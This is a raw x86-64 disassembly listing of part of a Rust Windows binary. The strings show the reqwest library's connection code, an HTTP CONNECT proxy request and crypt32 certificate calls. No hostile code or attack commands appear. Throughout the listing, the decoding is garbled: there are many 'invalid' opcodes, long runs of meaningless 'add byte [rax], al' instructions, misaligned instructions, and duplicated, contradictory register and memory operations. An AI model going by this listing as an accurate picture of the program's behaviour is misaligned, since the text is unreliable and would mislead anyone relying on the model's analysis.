movdqa xmm6, xmmword [0x14010fa20]
xor eax, 0x64d6d
punpcklqdq xmm6, xmm0
jmp 0x1400aacce
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
mov r15d, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [rsi + 0x16], ax
mov dword [rsi + 0x16], eax
mov al, 1
mov byte [rdi + 0x2648], al
invalid
mov rax, rsi
mov eax, esi
movaps xmm6, xmmword [rsp + 0x4d80]
mov ah, 0x24
or byte [rbp], 0
add rsp, 0x4d98
add byte [r8], r8b
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140104c30
add al, ch
adc al, 0x9f
add eax, 0xd8d4800
mov ecx, 0x8d4c0009
or dword [rax], eax
lea r8, [0x1401466c8]
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea ecx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
sahf
mov ecx, 0x28ba0009
add byte [rax], al
add al, ch
sub al, 0x9d
lea r8, [0x1401466c8]
mov edx, 0x28
call fcn.140104a60
invalid
invalid
add eax, 0x58d4800
and eax, 0x480009a7
mov dword [rsp + 0x30], eax
and al, 0x30
lea rax, str.overflow_in_Duration::new
add eax, 0x9a725
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x38], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xc4a18
or al, 0
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea edx, [0x1401454b8]
lea rcx, [rsp + 0x30]
call fcn.140104620
ud2
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1f88
mov byte [rdi], bl
add byte [rax], al
mov byte [rdi], bl
add byte [rax], al
call fcn.1401027c0
sub rsp, rax
cmp bh, byte [rdx + 5]
add byte [rax + 0x29], cl
invalid
movdqa xmmword [rsp + 0x1f70], xmm6
and al, 0x70
invalid
jo 0x1400aadaf
add byte [rax], al
add byte [rcx + rcx*4 - 0x3d], cl
mov rbx, r8
mov rsi, rdx
mov r13, rcx
movzx eax, byte [rdx + 0x2d2]
rol byte [rdx], cl
add byte [rax], al
invalid
rol byte [rdx], cl
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xc9d6f
popfq
or al, 0
lea rcx, [0x140174b18]
popfq
or al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
enter 0xffffffffffffe0ff, 0x66
jmp rax
loopne case.0x140096763.105
mov word [rsi + 0x2d3], 0
mov dword [rsi + 0x2d3], 0x86c60000
invalid
rol dword [rdx], cl
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x2d5], 1
add al, byte [rax]
add byte [rcx], al
invalid
add dword [rax - 0x73], ecx
mov esi, 0x128
add dword [rax], eax
invalid
lea rdi, [rsi + 0x128]
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rsi]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], dl
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rsi + 0x128], xmm0
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0x138], xmm1
invalid
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
adc dword [rsi + 0x148], edx
movups xmmword [rsi + 0x148], xmm2
movups xmmword [rsi + 0x158], xmm3
movups xmm0, xmmword [rsi + 0x40]
adc byte [rsi + 0x40], al
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x40], al
movups xmmword [rsi + 0x168], xmm0
movups xmm0, xmmword [rsi + 0x50]
push rax
push rax
movups xmmword [rsi + 0x178], xmm0
movups xmm0, xmmword [rsi + 0x60]
invalid
movups xmmword [rsi + 0x188], xmm0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x70], al
invalid
movups xmmword [rsi + 0x198], xmm0
mov rax, qword [rsi + 0x120]
mov qword [rsi + 0x1f8], rax
add byte [rdi], cl
adc byte [rsi + 0x110], al
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
xchg al, bh
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
movups xmmword [rsi + 0x1e8], xmm0
movups xmm0, xmmword [rsi + 0x100]
adc byte [rsi + 0x100], al
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x100], al
xchg byte [rax], al
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x1d8], eax
invalid
movups xmmword [rsi + 0x1d8], xmm0
movups xmm0, xmmword [rsi + 0xf0]
movups xmmword [rsi + 0x1c8], xmm0
movups xmm0, xmmword [rsi + 0xe0]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0xe0], al
movups xmmword [rsi + 0x1b8], xmm0
movups xmm0, xmmword [rsi + 0xd0]
movups xmmword [rsi + 0x1a8], xmm0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x80], al
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x80], al
movups xmm1, xmmword [rsi + 0x90]
movups xmm2, xmmword [rsi + 0xa0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc byte [rsi + 0xb0], bl
movups xmm3, xmmword [rsi + 0xb0]
movups xmmword [rsi + 0x200], xmm0
adc dword [rsi + 0x200], eax
movups xmmword [rsi + 0x210], xmm1
movups xmmword [rsi + 0x220], xmm2
add byte [rdi], cl
adc dword [rsi + 0x220], edx
movups xmmword [rsi + 0x230], xmm3
adc dword [rsi + 0x230], ebx
movups xmm0, xmmword [rsi + 0xc0]
adc byte [rsi + 0xc0], al
add byte [rax], al
movups xmmword [rsi + 0x240], xmm0
lea rcx, [rsi + 0x208]
or byte [rdx], al
add byte [rax], al
or byte [rdx], al
add byte [rax], al
lea rax, [rsi + 0x228]
lea eax, [rsi + 0x228]
cmp qword [rsi + 0x200], 0
lea r14, [rsp + 0x1098]
je 0x1400ab10b
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
movaps xmmword [rsp + 0x4b0], xmm0
sub dword [rsp + 0x4b0], eax
movaps xmmword [rsp + 0x4c0], xmm1
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 0x20]
mov qword [rsp + 0x4d0], rax
test byte [rax + rdx*8], ah
add al, 0
add byte [rax - 0x73], cl
lea edx, [0x14013fcd0]
and al, 0xc0
add al, 0
add byte [rax - 0x75], cl
mov eax, dword [rax + 0x20]
invalid
invalid
test byte [rax + rdx*8], ah
add al, 0
add byte [rax - 0x73], cl
lea edx, [0x14013fcd0]
lea edx, [0x14013fcd0]
mov cl, 0x4d
or dword [rax], eax
lea rcx, [rsp + 0x1040]
lea r8, [rsp + 0x500]
add byte [rax], al
mov word [rax + rax*2], fs
and al, 0x40
adc byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0
add eax, 0x4ce80000
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
cmp byte [rax], r8b
cmp byte [rax], al
call fcn.1400ae780
lea rax, [rsp + 0x4b0]
lea eax, [rsp + 0x4b0]
cmp byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x4b0]
test byte [rax + rsi*4], ah
add al, 0
add cl, ch
sub byte [rdx], al
add al, byte [rax]
invalid
jmp 0x1400ab169
lea rbp, [rsi + 0x614]
movzx eax, byte [rsi + 0x614]
mov dh, 0x86
adc al, 6
add byte [rax], al
invalid
mov dh, 0x86
adc al, 6
add byte [rax], al
invalid
add byte [rbp + rcx*4 - 0x4a], cl
lea r14, [rsi + 0x2d8]
mov dh, 0xd8
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0xc9beb
fadd dword [rdx]
add byte [rax], al
lea rcx, [0x140174b48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
invalid
loopne 0x1400aaf76
movzx edi, word [rsi + 0x610]
mov bh, 0xbe
adc byte [rsi], al
add byte [rax], al
jmp 0x1400ab791
mov rdx, qword [rsi + 0x2d8]
mov r9, qword [rsi + 0x2e0]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x72], cl
loopne 0x1400aaf80
add byte [rax], al
lea rcx, [rsp + 0x1040]
mov r8, rbx
call qword [r9 + 0x18]
and al, 0x40
adc byte [rax], al
add byte [rcx - 0x77], cl
fadd dword [rcx - 1]
push rcx
sbb byte [rax - 0x75], cl
mov rbp, qword [rsp + 0x1040]
cmp rbp, 4
jne case.0x140069415.310
mov rbp, qword [rsp + 0x1040]
add byte [rax], al
cmp rbp, 4
jne case.0x140069415.310
mov byte [r13 + 0x11], 3
mov al, 3
jmp 0x1400ad43f
add byte [rax], al
add byte [rax], al
lea r12, [rsi + 0x9b8]
movzx eax, byte [rsi + 0x9b8]
lea rdx, [rsi + 0x2d8]
add byte [rbp + 0x31840fc0], al
add dword [rax], eax
invalid
add byte [rbp + 0x31840fc0], al
test byte [rcx], dh
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
ror byte [rsi], cl
cmp eax, 3
jne 0x1400abea1
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], rdx
lea rdx, [rsi + 0x788]
movzx eax, byte [rsi + 0x788]
mov byte [rdi], al
add byte [rax], al
mov byte [rdi], al
add byte [rax], al
lea rcx, [0x140174b34]
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0x948948c8
and al, 0xa8
add byte [rax], al
add bh, bh
jmp rax
or dword [rax + 1], 0x948948c8
and al, 0xa8
add byte [rax], al
add bh, bh
jmp rax
invalid
lea rcx, [0x14013a560]
lea ecx, [0x14013a560]
call fcn.140104c30
mov r15, qword [rsp + 0x1048]
add byte [rax], al
mov r12, qword [rsp + 0x1050]
lea rdx, [rsp + 0x1058]
lea rcx, [rsp + 0x1c28]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rsi + 0x2d8]
mov rdi, qword [rsi + 0x2e0]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400ab06b
invalid
cmp qword [rdi + 0x10], 0x11
jb 0x1400ab059
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dil, 2
cmp ebp, 3
je 0x1400ad308
add byte [rax], al
mov qword [rsp + 0x28], r13
lea rcx, [rsp + 0x1058]
lea rdx, [rsp + 0x1c28]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1040], rbp
mov qword [rsp + 0x1048], r15
mov qword [rsp + 0x1050], r12
mov r13, qword [rsi + 0x280]
test r13, r13
je 0x1400ab4e1
mov r15, qword [rsi + 0x288]
test r15, r15
je 0x1400ab662
js 0x1400ad701
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r15
call fcn.1400e0010
test rax, rax
je 0x1400abeb9
mov r12, rax
jmp 0x1400ab668
movdqu xmm6, xmmword [rsi + 0x400]
mov rdi, qword [rsi + 0x410]
outsd dx, dword [rsi]
mov dh, 0
add al, 0
add byte [rax - 0x75], cl
mov esi, 0x410
jmp 0x1400ac44f
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x4f0], xmm1
add byte [rdi], cl
sub dword [rsp + 0x4e0], eax
add byte [rdi], cl
sub dword [rsp + 0x4e0], eax
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x480], xmm0
movaps xmmword [rsp + 0x490], xmm1
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x4a0], rax
lea rdx, [0x14013f698]
or dword [r8], r8d
or dword [r8], r8d
lea rcx, [rsp + 0x1040]
lea r8, [rsp + 0x4e0]
call fcn.1400ae780
lea rax, [rsp + 0x480]
mov rcx, qword [rax + 0x20]
mov qword [r14 + 0x20], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
adc byte [rax + 0x10], cl
adc byte [rax + 0x10], cl
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [rsp + 0x1090]
nop
adc byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x1080], al
nop
adc byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x1080], al
movaps xmmword [rsp + 0x230], xmm0
movups xmm0, xmmword [rsp + 0x1040]
invalid
add byte [rdi], cl
adc byte [rsp + 0x1050], cl
invalid
movups xmm1, xmmword [rsp + 0x1050]
add byte [rdi], cl
adc byte [rsp + 0x1060], dl
movups xmm2, xmmword [rsp + 0x1060]
movups xmm3, xmmword [rsp + 0x1070]
movaps xmmword [rsp + 0x220], xmm3
add byte [rax], al
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x1f0], xmm0
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x1e0], rax
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
add dh, al
xchg ah, dl
add al, byte [rax]
add byte [rcx], al
add dh, al
xchg ah, dl
add al, byte [rax]
add byte [rcx], al
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movups xmmword [rsi + 0x250], xmm0
movups xmmword [rsi + 0x260], xmm1
mov rax, qword [rsp + 0x1e0]
mov qword [rsi + 0x270], rax
mov qword [rsi + 0x278], rdi
mov dword [rsi + 0x278], edi
mov dword [rsi + 0x278], edi
js 0x1400ab241
add byte [rax], al
movzx eax, byte [rsi + 0x1a8]
test al, 1
jne 0x1400ab44b
test ebx, edi
add dword [rax], eax
invalid
test ebx, edi
add dword [rax], eax
add dh, al
xchg ch, dl
add al, byte [rax]
mov byte [rsi + 0x2d5], 0
add byte [rax], al
movups xmm0, xmmword [rdi + 0x70]
movaps xmmword [rsp + 0xe60], xmm0
movups xmm0, xmmword [rdi + 0x60]
invalid
invalid
movaps xmmword [rsp + 0xe50], xmm0
push rax
invalid
add byte [rax], al
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0xe30], xmm0
add byte [rax], al
invalid
push rax
invalid
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
adc byte [rdi + 0x10], cl
invalid
adc byte [rdi + 0x10], cl
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe20], xmm3
invalid
add byte [rax], al
movaps xmmword [rsp + 0xe10], xmm2
add byte [rdi], cl
sub dword [rsp + 0xe00], ecx
and al, 0
invalid
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0xe00], ecx
and al, 0
invalid
add byte [rax], al
and al, 0
invalid
movaps xmmword [rsp + 0xdf0], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
add byte [rdi], cl
sub byte [rsp + 0x1f0], al
movaps xmm1, xmmword [rsp + 0x200]
movaps xmm2, xmmword [rsp + 0x210]
sub byte [rsp + 0x210], dl
movaps xmm3, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0xe70], xmm0
sub dword [rsp + 0xe70], eax
sub dword [rsp + 0xe70], eax
movaps xmmword [rsp + 0xe80], xmm1
movaps xmmword [rsp + 0xe90], xmm2
movaps xmmword [rsp + 0xea0], xmm3
and al, 0xa0
invalid
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x230], al
add al, byte [rax]
invalid
and al, 0xa0
invalid
add byte [rdi], cl
sub byte [rsp + 0x230], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0xeb0], eax
invalid
movaps xmmword [rsp + 0xeb0], xmm0
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0xec0], rax
add byte [rax - 0x73], cl
mov ds, eax
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
mov ds, eax
add al, byte [rax]
add byte [rax], al
lea rdx, [rsp + 0xdf0]
mov r8d, 0x250
invalid
invalid
add byte [rax], al
lea rdx, [rsp + 0xdf0]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + 0x528], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
lea r14, [rsi + 0x2d8]
lea rcx, [rsp + 0x1040]
adc byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov r8, rbx
call fcn.1400af070
movzx edi, byte [rsp + 0x1051]
push rcx
adc byte [rax], al
add byte [rax - 0x80], al
inc dword [rbx]
push rcx
adc byte [rax], al
add byte [rax - 0x80], al
inc dword [rbx]
jne 0x1400ab36d
mov byte [r13 + 0x11], 3
mov al, 6
jmp 0x1400ad43f
mov r15, qword [rsp + 0x1040]
mov r12, qword [rsp + 0x1048]
movzx ebp, byte [rsp + 0x1050]
mov eax, dword [rsp + 0x1052]
adc byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x48
adc byte [rax], al
add byte [rdi], cl
mov dh, 0xac
and al, 0x50
adc byte [rax], al
add byte [rbx + 0x10522484], cl
add byte [rax], al
mov dword [rsp + 0x38], eax
movzx eax, word [rsp + 0x1056]
mov word [rsp + 0x3c], ax
mov rcx, r14
call 0x1400adce0
cmp byte [rsi + 0x270], 2
je 0x1400ab3cd
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
jb 0x1400ab408
adc byte [rax - 0x75], cl
or eax, 0xd1e0b
or eax, 0x49d23100
mov eax, ebx
or eax, 0x49d23100
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
jmp 0x1400ad414
leave
invalid
add byte [rax], al
leave
invalid
cmp byte [rsi + 0x1a9], 0
je 0x1400ab250
invalid
ror byte [rdi], cl
test byte [0x1880ab46a], al
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
add al, ch
cmp al, 0x7e
jle 0x1400ab46b
dec dword [rbx + rcx*4 - 0x7a]
enter 1, 0
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
add al, ch
cmp al, 0x7e
jle 0x1400ab46b
dec dword [rbx + rcx*4 - 0x7a]
enter 1, 0
mov qword [rsi + 0x280], rax
mov qword [rsi + 0x288], rdx
add byte [rax - 0x77], cl
xchg esi, eax
mov byte [rdx], al
add byte [rax], al
test r8, r8
je 0x1400ab578
invalid
ror byte [rdi], 0x84
out 0, al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
adc byte [rax], al
mov rdx, qword [rsi + 0x1c0]
lea rcx, [rsp + 0x1040]
call fcn.140032d50
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
adc byte [rax], al
invalid
adc byte [rax], al
add al, ch
stosb byte [rdi], al
js 0x1400ab49d
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
adc byte [rax], al
add byte [rdi], cl
mov bh, 0x8c
and al, 0x50
adc byte [rax], al
add cl, ch
mov edi, 0x48000000
mov rcx, qword [rsi + 0x620]
mov eax, dword [rsp + 0x1040]
movzx ecx, word [rsp + 0x1050]
jmp 0x1400ab57a
mov rcx, qword [rsi + 0x620]
add byte [rax - 0x75], cl
xchg esi, eax
sub byte [rsi], al
add byte [rax], al
mov rdx, qword [rsi + 0x628]
mov rax, qword [rsi + 0x630]
jmp 0x1400abec6
mov r9, qword [rsi + 0x628]
jmp 0x1400abc60
movzx eax, byte [0x14017d2b0]
mov edx, 0xe
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad6f2
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
mov r13, qword [rsp + 0x28]
je 0x1400ad6ad
mov r15, rax
mov qword [rax], 0xe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], 0xe
cmp ebp, 2
jne 0x1400abd45
xor eax, eax
test rax, rax
mov eax, 0x1bb
cmovne eax, ecx
mov word [rsi + 0x2d0], ax
mov rdi, qword [rsi + 0x148]
lock inc qword [rdi]
jle case.0x1400aadb0.2
mov qword [rsp + 0x28], r13
mov r15, qword [rsi + 0x150]
mov r12, qword [rsi + 0x158]
lock inc qword [r15]
jle case.0x1400aadb0.2
mov r13, qword [rsi + 0x278]
cmp qword [r13], 0
je 0x1400ab5dc
mov rcx, qword [r13 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov ebp, 1
jmp 0x1400ab5de
xor ebp, ebp
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edx, word [r13 + 0x1c]
lea rcx, [rsi + 0x290]
mov r8d, dword [r13 + 0x18]
mov byte [rsi + 0x2c8], 0
mov qword [rsi + 0x2b0], rdi
mov qword [rsi + 0x2b8], r15
mov qword [rsi + 0x2c0], r12
mov qword [rsi + 0x290], rbp
mov qword [rsi + 0x298], r14
mov qword [rsi + 0x2a0], rax
mov dword [rsi + 0x2a8], r8d
mov word [rsi + 0x2ac], dx
lea rdx, [rsp + 0x1f0]
call fcn.1400aeb90
mov r9, rdx
mov rdx, rax
mov qword [rsi + 0x2d8], rax
mov qword [rsi + 0x2e0], r9
mov r13, qword [rsp + 0x28]
jmp 0x1400aaf80
mov r12d, 1
lea r14, [rsi + 0x2d8]
mov rcx, r12
mov rdx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movzx edi, word [rsi + 0x2d0]
mov bpl, 2
cmp byte [rsi + 0x190], 2
je 0x1400ab6bd
lea rdx, [rsi + 0x188]
mov rax, qword [rsi + 0x170]
mov r8, qword [rsi + 0x178]
mov r9, qword [rsi + 0x180]
lea rcx, [rsp + 0x520]
call qword [rax]
movzx ebp, byte [rsi + 0x190]
mov byte [rsi + 0x2d4], 0
lea r13, [rsp + 0x750]
lea rdx, [rsp + 0x1040]
mov r8d, 0x128
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x520]
movups xmm1, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x980], xmm0
movaps xmmword [rsp + 0x990], xmm1
mov r8d, 0x128
mov rcx, r14
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x400], r15
mov qword [rsi + 0x408], r12
mov qword [rsi + 0x410], r15
movaps xmm0, xmmword [rsp + 0x980]
movaps xmm1, xmmword [rsp + 0x990]
movups xmmword [rsi + 0x418], xmm0
movups xmmword [rsi + 0x428], xmm1
mov byte [rsi + 0x438], bpl
movups xmm0, xmmword [rsi + 0x250]
movups xmm1, xmmword [rsi + 0x260]
movups xmmword [rsi + 0x440], xmm0
movups xmmword [rsi + 0x450], xmm1
mov rax, qword [rsi + 0x270]
mov qword [rsi + 0x460], rax
mov word [rsi + 0x610], di
lea rbp, [rsi + 0x614]
mov byte [rsi + 0x614], 0
mov r13, qword [rsp + 0x28]
mov byte [rsi + 0x617], 1
lea r15, [rsi + 0x468]
mov r8d, 0x128
mov rcx, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + 0x590]
movups xmm0, xmmword [rsi + 0x400]
movups xmmword [rsi + 0x590], xmm0
mov rcx, qword [rsi + 0x410]
mov qword [rsi + 0x5a0], rcx
lea rcx, [rsi + 0x612]
mov word [rsi + 0x612], di
movups xmm0, xmmword [rsi + 0x418]
movups xmmword [rsi + 0x5a8], xmm0
movups xmm0, xmmword [rsi + 0x428]
movups xmmword [rsi + 0x5b8], xmm0
mov rdx, qword [rsi + 0x438]
mov qword [rsi + 0x5c8], rdx
mov word [rsi + 0x615], 0x101
movups xmm0, xmmword [rsi + 0x440]
movups xmmword [rsi + 0x5d0], xmm0
movups xmm0, xmmword [rsi + 0x450]
movups xmmword [rsi + 0x5e0], xmm0
mov rdx, qword [rsi + 0x460]
mov qword [rsi + 0x5f0], rdx
mov qword [rsp + 0x1708], rax
lea rax, [0x140006d30]
mov qword [rsp + 0x1710], rax
mov qword [rsp + 0x1718], rcx
lea rax, [0x140016160]
mov qword [rsp + 0x1720], rax
mov qword [rsp + 0x260], 2
mov qword [rsp + 0x270], 2
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], 0x20
mov byte [rsp + 0x290], 3
mov qword [rsp + 0x298], 2
mov qword [rsp + 0x2a8], 2
mov qword [rsp + 0x2b8], 1
mov qword [rsp + 0x2c0], 0x20
mov byte [rsp + 0x2c8], 3
mov qword [rsp + 0x2d0], 2
mov qword [rsp + 0x2e0], 2
mov qword [rsp + 0x2f0], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add al, byte [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add al, byte [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add ecx, dword [rax - 0x39]
test byte [rax + rcx], ah
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rbx], ah
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x318], 2
mov dword [rsp + 0x318], 2
mov dword [rsp + 0x318], 2
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x330], 0x20
mov byte [rsp + 0x338], 3
mov qword [rsp + 0x328], 1
mov qword [rsp + 0x330], 0x20
mov dword [rsp + 0x330], 0x20
mov dword [rsp + 0x330], 0x20
mov byte [rsp + 0x338], 3
lea rax, str.CONNECT__HTTP_1.1_r_nHost:
mov qword [rsp + 0xab0], rax
mov qword [rsp + 0xab8], 5
lea rax, [rsp + 0x260]
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0xad8], 4
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x1708]
mov qword [rsp + 0xac0], rax
mov qword [rsp + 0xac8], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rcx, [rsp + 0x15e0]
lea rdx, [rsp + 0xab0]
call fcn.140010f10
push rbp
idiv bh
push rbp
idiv bh
mov rax, qword [rsp + 0x15f0]
mov qword [rsi + 0x608], rax
movups xmm0, xmmword [rsp + 0x15e0]
movups xmmword [rsi + 0x5f8], xmm0
cmp byte [rsi + 0x5c8], 2
je 0x1400abaef
mov rdi, r14
lea rax, [rsi + 0x5a8]
mov byte [rsi + 0x616], 0
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x280], rcx
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
test dword [rax - 0x73], 0x5a886
add dh, al
xchg byte [rsi], dl
invalid
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
